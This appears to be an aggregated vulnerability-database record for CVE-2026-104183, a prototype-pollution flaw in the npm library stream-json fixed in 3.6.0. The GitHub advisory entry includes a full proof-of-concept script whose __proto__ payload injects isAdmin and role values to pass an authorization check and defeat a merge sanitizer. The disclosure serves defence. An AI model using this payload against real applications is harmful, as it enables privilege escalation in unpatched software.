{"id":"CVE-2026-104183","revision":null,"records":[{"revision":"b5e9703eda2a4d34a2698cd2747ed78b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-104183","aliases":[],"title":"stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","state":0,"publishedAt":"2026-10-01T20:17:21.645+00:00","modifiedAt":"2026-10-01T20:30:54.674+00:00","affected":[{"ecosystem":"Vendor product","name":"stream-json","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"uhop\",\n                    \"product\": \"stream-json\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.6.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":5.1,"severity":"MEDIUM"}],"references":["https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc","https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","https://github.com/uhop/stream-json/releases/tag/3.6.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-104183","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-104183","identifiers":["CVE-2026-104183"]},"retained":false,"historicalAffected":[]},{"revision":"8a7bc751f3a24957ba6336d0f5849985","observedAt":"2026-11-11T05:30:03.326+00:00","statement":{"source":"euvd","id":"EUVD-2026-91057","aliases":["CVE-2026-104183","GHSA-mjw6-4jj6-33hc"],"title":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the i…","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":5.1,"severity":null}],"references":["https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc","https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","https://github.com/uhop/stream-json/releases/tag/3.6.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-91057","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 1, 2026, 8:17:21 PM","dateUpdated":"Oct 1, 2026, 8:30:54 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-91057","identifiers":["EUVD-2026-91057","CVE-2026-104183","GHSA-mjw6-4jj6-33hc"]},"retained":false,"historicalAffected":[]},{"revision":"6599483469cc480c9af2bcb19f64c111","observedAt":"2026-10-25T04:17:29.458+00:00","statement":{"source":"nvd","id":"CVE-2026-104183","aliases":[],"title":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the i…","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","state":0,"publishedAt":"2026-10-01T21:17:19.197+00:00","modifiedAt":"2026-10-02T18:47:49.947+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":5.1,"severity":"MEDIUM"}],"references":["https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","https://github.com/uhop/stream-json/releases/tag/3.6.0","https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104183","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2026-10-01T21:17:19.197","lastModified":"2026-10-02T18:47:49.947"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-104183","identifiers":["CVE-2026-104183"]},"retained":false,"historicalAffected":[]},{"revision":"85807534343b4816a648050855bac236","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mjw6-4jj6-33hc","aliases":["CVE-2026-104183"],"title":"stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects","description":"### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) => new Promise((res, rej) => {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);\n});\nconst so = (input) => new Promise((res, rej) => {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o => o.isAdmin === true && o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---","state":0,"publishedAt":"2026-10-05T22:49:19+00:00","modifiedAt":"2026-10-05T23:00:04.2533337+00:00","affected":[{"ecosystem":"npm","name":"stream-json","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.6.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc","https://nvd.nist.gov/vuln/detail/CVE-2026-104183","https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","https://github.com/uhop/stream-json","https://github.com/uhop/stream-json/releases/tag/3.6.0"],"sourceUrl":"https://github.com/advisories/GHSA-mjw6-4jj6-33hc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mjw6-4jj6-33hc","identifiers":["GHSA-mjw6-4jj6-33hc","CVE-2026-104183"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T19:58:45.4661486+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T19:58:45.4661486+00:00","lastSuccessAt":"2026-11-11T19:58:45.6262555+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.6262565+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-bc2564cf749a574ebe6216cd53b2772c98ccf01e107d9e465c7cb9637c59db40","complete":true,"records":424281,"lastAttemptAt":"2026-11-11T19:56:48.005675+00:00","lastSuccessAt":"2026-11-11T19:56:47.8167322+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:56:48.005675+00:00","snapshotPublishedAt":"2026-11-11T19:18:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dc462e64383b443bb509cbf61bca2cb8","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T20:09:03.8159657+00:00","lastSuccessAt":"2026-11-11T20:09:03.811+00:00","error":"167 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T20:09:03.811+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13431,"expectedIdentifiers":13813,"failedIdentifiers":167},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T19:58:45.4661486+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T19:58:45.4661486+00:00","lastSuccessAt":"2026-11-11T19:58:45.6274866+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.6274869+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0feae4fee9a0467f9dde710515b6c624","complete":false,"records":13753,"lastAttemptAt":"2026-11-11T19:59:11.1509472+00:00","lastSuccessAt":"2026-11-11T19:59:11.147+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T19:59:11.147+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13713,"expectedIdentifiers":13813,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T19:58:45.3029621+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.3029621+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T19:56:48.0811645+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:56:48.0811645+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T19:58:45.4258391+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.4258391+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-87231cdc7f9d4c655d3fcacbfa9f6f611f1797a1979bf49bac181b1f6e58d128","complete":true,"records":231686,"lastAttemptAt":"2026-11-11T19:58:45.1608584+00:00","lastSuccessAt":"2026-11-11T19:58:43.6336294+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.1608584+00:00","snapshotPublishedAt":"2026-11-11T19:48:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}